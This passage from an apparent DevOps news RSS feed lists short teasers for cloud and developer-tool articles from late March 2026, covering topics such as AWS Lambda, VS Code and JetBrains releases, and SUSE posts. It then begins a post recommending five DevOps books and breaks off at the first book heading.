<h3 id="h3-aws-lambda-supports-up-to-32-gb-of-memory-and-16-vcpus-for-lambda-managed-instances" class="group relative scroll-mt-24">
        <a href="#h3-aws-lambda-supports-up-to-32-gb-of-memory-and-16-vcpus-for-lambda-managed-instances" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AWS Lambda supports up to 32 GB of memory and 16 vCPUs for Lambda Managed Instances
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-aws-lambda-supports-up-to-32-gb-of-memory-and-16-vcpus-for-lambda-managed-instances"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AWS Lambda now supports up to 32 GB of memory and 16 vCPUs for functions running on Lambda Managed Instances, enabling customers to run compute-intensive workloads such as large-scale data processing,</p>
<p><strong>📅 Mar 27, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/03/lambda-32-gb-memory-16-vcpus/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-aws-management-console-now-supports-settings-to-control-service-and-region-visibility" class="group relative scroll-mt-24">
        <a href="#h3-aws-management-console-now-supports-settings-to-control-service-and-region-visibility" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AWS Management Console now supports settings to control service and Region visibility
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-aws-management-console-now-supports-settings-to-control-service-and-region-visibility"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Today, AWS announces the general availability of Visible services and Visible Regions account settings in the AWS Management Console. These settings allow you to customize which services and regions a</p>
<p><strong>📅 Mar 27, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/03/account-customizations-console/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-we-use-abstract-syntax-trees-asts-to-turn-workflows-code-into-visual-diagrams" class="group relative scroll-mt-24">
        <a href="#h3-how-we-use-abstract-syntax-trees-asts-to-turn-workflows-code-into-visual-diagrams" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How we use Abstract Syntax Trees (ASTs) to turn Workflows code into visual diagrams
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-we-use-abstract-syntax-trees-asts-to-turn-workflows-code-into-visual-diagrams"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Workflows are now visualized via step diagrams in the dashboard. Here’s how we translate your TypeScript code into a visual representation of the workflow.</p>
<p><strong>📅 Mar 27, 2026</strong> • <strong>📰 Cloudflare Blog</strong></p>
<p><a href="https://blog.cloudflare.com/workflow-diagrams/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-five-techniques-to-reach-the-efficient-frontier-of-llm-inference" class="group relative scroll-mt-24">
        <a href="#h3-five-techniques-to-reach-the-efficient-frontier-of-llm-inference" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Five techniques to reach the efficient frontier of LLM inference
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-five-techniques-to-reach-the-efficient-frontier-of-llm-inference"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Every dollar that you spend on model inference buys you a position on a graph of latency and throughput. On this plot is a curve of optimal configurations, where you&#39;ve squeezed the maximum possible p</p>
<p><strong>📅 Mar 27, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/topics/developers-practitioners/five-techniques-to-reach-the-efficient-frontier-of-llm-inference/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-whats-new-in-red-hat-openshift-virtualization-421" class="group relative scroll-mt-24">
        <a href="#h3-whats-new-in-red-hat-openshift-virtualization-421" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 What's new in Red Hat OpenShift Virtualization 4.21
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-whats-new-in-red-hat-openshift-virtualization-421"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Red Hat OpenShift Virtualization 4.21 is now Generally Available. The release of Red Hat OpenShift Virtualization 4.21 introduces new capabilities that simplify virtual machine (VM) management, enhanc</p>
<p><strong>📅 Mar 27, 2026</strong> • <strong>📰 OpenShift Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/whats-new-red-hat-openshift-virtualization-421"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-misc" class="group relative scroll-mt-24">
        <a href="#h2-misc" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📰 Misc
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-misc"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-visual-studio-code-1114" class="group relative scroll-mt-24">
        <a href="#h3-visual-studio-code-1114" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Visual Studio Code 1.114
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-visual-studio-code-1114"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn what&#39;s new in Visual Studio Code 1.114 (Insiders) Read the full article</p>
<p><strong>📅 Apr 1, 2026</strong> • <strong>📰 VS Code Blog</strong></p>
<p><a href="https://code.visualstudio.com/updates/v1_114"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-five-great-devops-job-opportunities" class="group relative scroll-mt-24">
        <a href="#h3-five-great-devops-job-opportunities" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Five Great DevOps Job Opportunities
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-five-great-devops-job-opportunities"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Explore this week’s top DevOps career opportunities featuring roles at SAP, Maximus, Inc., and Bellota Labs. Salaries range from $115k to $337k for senior and lead positions.</p>
<p><strong>📅 Mar 30, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/five-great-devops-job-opportunities-182/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-webassembly-is-now-outperforming-containers-at-the-edge" class="group relative scroll-mt-24">
        <a href="#h3-webassembly-is-now-outperforming-containers-at-the-edge" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 WebAssembly is now outperforming containers at the edge
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-webassembly-is-now-outperforming-containers-at-the-edge"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The mass adoption of WebAssembly has yet to be realized. The true turning point for WebAssembly — specifically its ability The post WebAssembly is now outperforming containers at the edge appeared fir</p>
<p><strong>📅 Mar 29, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/webassembly-component-model-future/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-96-of-codebases-rely-on-open-source-and-ai-slop-is-putting-them-at-risk" class="group relative scroll-mt-24">
        <a href="#h3-96-of-codebases-rely-on-open-source-and-ai-slop-is-putting-them-at-risk" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 96% of codebases rely on open source, and AI slop is putting them at risk
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-96-of-codebases-rely-on-open-source-and-ai-slop-is-putting-them-at-risk"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Verbose changes. Nonsensical descriptions. Pull requests contributors can’t explain. AI is DDoS-ing open source software (OSS) with slop, and some The post 96% of codebases rely on open source, and AI</p>
<p><strong>📅 Mar 29, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/ai-slop-open-source/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-secure-local-and-connected-insights-from-sapinsider-on-the-future-of-sap-integration-suite-with-edge-integration-cell" class="group relative scroll-mt-24">
        <a href="#h3-secure-local-and-connected-insights-from-sapinsider-on-the-future-of-sap-integration-suite-with-edge-integration-cell" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Secure, Local, and Connected: Insights from SAPinsider on the Future of SAP Integration Suite with Edge Integration Cell
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-secure-local-and-connected-insights-from-sapinsider-on-the-future-of-sap-integration-suite-with-edge-integration-cell"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The conversations at our booth this year in Las Vegas shifted from “what’s coming next” to “what we can do now”. For customers in regulated industries like pharma, defense, or the public sector, the S</p>
<p><strong>📅 Mar 27, 2026</strong> • <strong>📰 SUSE Blog</strong></p>
<p><a href="https://www.suse.com/c/secure-local-and-connected-insights-from-sapinsider-on-the-future-of-sap-integration-suite-with-edge-integration-cell/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-sideloading-suse-virtualization-onto-an-existing-linux-system" class="group relative scroll-mt-24">
        <a href="#h3-sideloading-suse-virtualization-onto-an-existing-linux-system" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Sideloading SUSE Virtualization onto an existing Linux system
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-sideloading-suse-virtualization-onto-an-existing-linux-system"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>After the v1.7.0 community release of Harvester, we learned that there was a problem with network interface naming for certain types of Intel NIC, when upgrading from v1.6.x. When I was working on fix</p>
<p><strong>📅 Mar 27, 2026</strong> • <strong>📰 SUSE Blog</strong></p>
<p><a href="https://www.suse.com/c/sideloading-suse-virtualization-onto-an-existing-linux-system/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-datagrip-20261-ai-agents-in-the-ai-chat-redesigned-query-files-data-source-templates-in-your-jetbrains-account-explain-plan-flow-enhancements-and-more" class="group relative scroll-mt-24">
        <a href="#h3-datagrip-20261-ai-agents-in-the-ai-chat-redesigned-query-files-data-source-templates-in-your-jetbrains-account-explain-plan-flow-enhancements-and-more" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 DataGrip 2026.1: AI Agents in the AI Chat, Redesigned Query Files, Data Source Templates in Your JetBrains Account, Explain Plan Flow Enhancements, and More!
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-datagrip-20261-ai-agents-in-the-ai-chat-redesigned-query-files-data-source-templates-in-your-jetbrains-account-explain-plan-flow-enhancements-and-more"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>DataGrip 2026.1, the first major update of the year, is here! Let’s take a look at what’s inside. Download DataGrip 2026.1 Query files and consoles In this release, we are redesigning the flow for wor</p>
<p><strong>📅 Mar 26, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/datagrip/2026/03/26/datagrip-2026-1-redesigned-query-files-data-source-templates-in-your-jetbrains-account-ai-agents-in-the-ai-chat-explain-plan-flow-enhancements-and-more/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-comparative-analysis-of-development-cycle-speed-in-java-and-kotlin-based-on-ide-telemetry-data" class="group relative scroll-mt-24">
        <a href="#h3-comparative-analysis-of-development-cycle-speed-in-java-and-kotlin-based-on-ide-telemetry-data" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Comparative Analysis of Development Cycle Speed in Java and Kotlin Based on IDE Telemetry Data
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-comparative-analysis-of-development-cycle-speed-in-java-and-kotlin-based-on-ide-telemetry-data"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Introduction Does the choice of programming language affect how fast developers deliver code? This question matters for engineering teams evaluating technology stacks, yet it is notoriously hard to an</p>
<p><strong>📅 Mar 26, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/research/2026/03/comparative-analysis-of-development-cycle-speed-in-java-and-kotlin/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-from-system-admin-to-game-dev-cockpit-as-the-ultimate-canvas-for-custom-linux-tooling" class="group relative scroll-mt-24">
        <a href="#h3-from-system-admin-to-game-dev-cockpit-as-the-ultimate-canvas-for-custom-linux-tooling" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 From System Admin to Game Dev: Cockpit as the Ultimate Canvas for Custom Linux Tooling
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-from-system-admin-to-game-dev-cockpit-as-the-ultimate-canvas-for-custom-linux-tooling"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The Modern Face of Linux Management In the world of SUSE, we often talk about “Zero-Touch” and “Infrastructure-as-Code.” But behind every automated cluster is a human who occasionally needs to see exa</p>
<p><strong>📅 Mar 26, 2026</strong> • <strong>📰 SUSE Blog</strong></p>
<p><a href="https://www.suse.com/c/from-system-admin-to-game-dev-cockpit-as-the-ultimate-canvas-for-custom-linux-tooling/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-phpstorm-20261-is-now-out" class="group relative scroll-mt-24">
        <a href="#h3-phpstorm-20261-is-now-out" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 PhpStorm 2026.1 is Now Out
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-phpstorm-20261-is-now-out"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Welcome to PhpStorm 2026.1! This release brings new PhpStorm MCP tools, new third-party agents inside your IDE, support for Git worktrees, and lots of other productivity-enhancing features for PHP and</p>
<p><strong>📅 Mar 26, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/phpstorm/2026/03/phpstorm-2026-1-is-now-out/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-ai-assisted-java-application-development-with-agent-skills" class="group relative scroll-mt-24">
        <a href="#h3-ai-assisted-java-application-development-with-agent-skills" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AI-Assisted Java Application Development with Agent Skills
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-ai-assisted-java-application-development-with-agent-skills"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Agent-assisted development is quickly becoming a common mode of software development. New techniques are emerging to help LLMs generate code that matches your preferences and standards. One common app</p>
<p><strong>📅 Mar 26, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/idea/2026/03/ai-assisted-java-application-development-with-agent-skills/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-visual-studio-code-1113" class="group relative scroll-mt-24">
        <a href="#h3-visual-studio-code-1113" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Visual Studio Code 1.113
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-visual-studio-code-1113"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn what&#39;s new in Visual Studio Code 1.113 Read the full article</p>
<p><strong>📅 Mar 25, 2026</strong> • <strong>📰 VS Code Blog</strong></p>
<p><a href="https://code.visualstudio.com/updates/v1_113"><strong>🔗 Read more</strong></a></p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[5 DevOps Books Worth Reading in 2026]]></title>
      <link>https://devops-daily.com/posts/devops-books-to-read-in-2026</link>
      <description><![CDATA[A curated list of DevOps books that are actually worth your time in 2026, from beginner Linux guides to production Kubernetes patterns and the SRE bible.]]></description>
      <pubDate>Thu, 26 Mar 2026 09:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops-daily.com/posts/devops-books-to-read-in-2026</guid>
      <category><![CDATA[DevOps]]></category>
      <author><![CDATA[DevOps Daily Team]]></author>
      <category><![CDATA[devops]]></category><category><![CDATA[books]]></category><category><![CDATA[learning]]></category><category><![CDATA[kubernetes]]></category><category><![CDATA[sre]]></category><category><![CDATA[linux]]></category>
      <content:encoded><![CDATA[<p>There&#39;s no shortage of DevOps books out there. The problem is figuring out which ones are actually worth your time versus which ones are just rehashing the same &quot;what is CI/CD&quot; content you&#39;ve already read a hundred times.</p>
<p>Here are five books that I keep coming back to and recommending to engineers at every level. Some are free, some aren&#39;t, but all of them have shaped how I think about building and running systems.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><table>
<thead>
<tr>
<th>Book</th>
<th>Best For</th>
<th>Price</th>
</tr>
</thead>
<tbody><tr>
<td>Linux DevOps eBook Bundle</td>
<td>Getting started with Linux and DevOps fundamentals</td>
<td>Pay what you want</td>
</tr>
<tr>
<td>Site Reliability Engineering</td>
<td>Understanding how to run reliable systems at scale</td>
<td>Free</td>
</tr>
<tr>
<td>Kubernetes in Action</td>
<td>Learning Kubernetes from the ground up</td>
<td>Paid</td>
</tr>
<tr>
<td>The Phoenix Project</td>
<td>Understanding DevOps culture and mindset</td>
<td>Paid</td>
</tr>
<tr>
<td>Cloud Native DevOps with Kubernetes</td>
<td>Running production K8s workloads</td>
<td>Paid</td>
</tr>
</tbody></table>
<h2 id="h2-1-linux-devops-ebook-bundle" class="group relative scroll-mt-24">
        <a href="#h2-1-linux-devops-ebook-bundle" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          1. Linux DevOps eBook Bundle
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-1-linux-devops-ebook-bundle"
        >
